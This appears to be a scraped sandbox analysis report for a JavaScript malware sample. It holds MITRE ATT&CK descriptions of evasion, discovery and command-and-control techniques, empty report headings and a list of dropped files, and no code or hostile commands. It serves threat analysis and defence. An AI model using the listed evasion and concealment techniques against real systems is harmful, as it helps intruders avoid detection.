Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2650280751468214741.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9f544c28-f8f5-4145-8fc9-b267299e2465.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5d42c1.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b74d4c32-9d8d-4d21-9fc1-c129b06fa8f8.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
2650280751468214741.js